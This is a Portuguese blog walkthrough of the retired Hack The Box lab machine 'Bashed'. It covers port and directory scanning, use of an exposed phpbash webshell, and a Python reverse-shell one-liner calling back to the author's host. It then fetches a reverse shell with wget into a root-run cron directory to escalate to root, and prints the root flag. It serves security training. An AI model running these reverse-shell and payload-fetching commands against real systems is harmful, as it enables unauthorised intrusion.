Bashed

Captura de tela de 2018-12-01 18-45-12Salve, Salve Galera,
Estou aqui novamente para apresentar mais um walkthrough para vocês. Dessa vez lhes trago BASHED.
Essa máquina possui o nível de dificuldade Baixo e pode ser acessada apenas sendo assinante do HTB. Visto que ela encontra-se na listagem de RETIRED MACHINES.

Sem mais delongas, vamos ao que interessa!

Utilizaremos o nmap para verificar quais são as portas que estão abertas.

$ nmap -sV -sC -Pn 10.10.10.68
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-01 13:33 EST
Nmap scan report for 10.10.10.68
Host is up (0.20s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.09 seconds

Identificamos apenas o serviço http.

Acessando a página, verificamos que trata-se de um site de desenvolvimento de alguém chamado Arrexel. Na página menciona sobre um webshell chamado phpbash.

Captura de tela de 2018-12-01 19-09-05

Vamos executar um directory brute force na aplicação.

$./dirsearch.py -u 10.10.10.68 -e html,php,htm -f -t 20 -x 403

_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: html, php, htm | Threads: 20 | Wordlist size: 19948

Error Log: /root/Documents/Tools/dirsearch/logs/errors-18-12-01_16-26-27.log

Target: 10.10.10.68

[16:26:28] Starting:
[16:26:31] 301 - 308B - /php -> http://10.10.10.68/php/
[16:26:53] 200 - 8KB - /about.html
[16:27:37] 200 - 0B - /config.php
[16:27:38] 200 - 0B - /config.php/
[16:27:40] 200 - 8KB - /contact.html
[16:27:42] 200 - 2KB - /css/
[16:27:46] 200 - 1KB - /dev/
[16:27:56] 200 - 2KB - /fonts/
[16:28:04] 200 - 2KB - /images/
[16:28:06] 200 - 8KB - /index.html
[16:28:12] 200 - 3KB - /js/
[16:28:33] 200 - 939B - /php/
[16:29:06] 200 - 14B - /uploads/

Task Completed

Encontramos um Diretório chamado /dev/.

Captura de tela de 2018-12-01 20-06-47

O qual possui a web shell mencionada anteriormente.

Captura de tela de 2018-12-01 23-10-37

Através da Web Shell já conseguimos coletar a flag de usuário. Além disso, verificamos que o usuário www-data consegue executar qualquer comando como se fosse o usuário scriptmanager (via sudo).

O próximo passo será fechar uma conexão reversa utilizando a webshell. Para isso vamos utilizar uma reverse shell em python.

PHPBASH WEBSHELL:

/usr/bin/python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.6",80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

KALI:

$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 53322
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/sh")'
$

Agora que estamos na máquina, podemos nos tornar o usuário scriptmanager via sudo.

$ sudo -u scriptmanager sh -i
$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
$

Analisando a máquina, descobrimos um diretório chamado scripts que o usuário scriptmanager é owner.

$ ls -ld /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 /scripts
$

Dentro desse diretório temos um script chamado test.py.

$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
$

E um arquivo test.txt.

$ cat test.txt
testing 123!
$

Baseado no timestamp do arquivo test.txt, o script test.py é executado a cada minuto.

$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Dec 1 18:24 test.txt
$ date
Sat Dec 1 18:24:11 PST 2018
$

Além disso, o owner do test.txt é o usuário root. Logo, o script está sendo executado com privilégio de ID 0.

Precisamos apenas substituir o conteúdo do arquivo test.py por uma shell reversa.

  • Realizando Download da shell na máquina alvo.
$ cd /scripts
$ ls
test.py test.txt
$ ls -ld /scripts
ls -ld /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 /scripts
$ wget http://10.10.14.6:8081/shell2.py
--2018-12-02 10:12:19-- http://10.10.14.6:8081/shell2.py
Connecting to 10.10.14.6:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 235 [application/octet-stream]
Saving to: 'shell2.py'

shell2.py 0%[ ] 0 --.-KB/s shell2.py 100%[===================>] 235 --.-KB/s in 0s

2018-12-02 10:12:20 (59.3 MB/s) - 'shell2.py' saved [235/235]
  • Disponibilizando a shell via kali.
$ php -S 10.10.14.6:8081
PHP 7.2.3-1 Development Server started at Sun Dec 2 13:07:20 2018
Listening on http://10.10.14.6:8081
Document root is /root/Documents/Tools/Shells/python
Press Ctrl-C to quit.
[Sun Dec 2 13:08:32 2018] 10.10.10.68:54372 [200]: /shell2.py

Estranhamente logo após o download do arquivo shell2.py para o diretório /scripts, recebi uma conexão reversa na porta 443.  Visto que já estava com o NC em execução.

$ nc -nvlp 443
listening on [any] 443 ...

connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 56392
/bin/sh: 0: can't access tty; job control turned off
# # # # id
uid=0(root) gid=0(root) groups=0(root)
#

Entendi o motivo após verificar a crontab do usuário root.

# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done
#

Flag root/system capturada.

# cd /root
# ls
root.txt
# cat root.txt
cc4f0afe3a1026d402ba10329674a8e2
#

Até a próxima!

Referência:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Publicado em HTB.

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.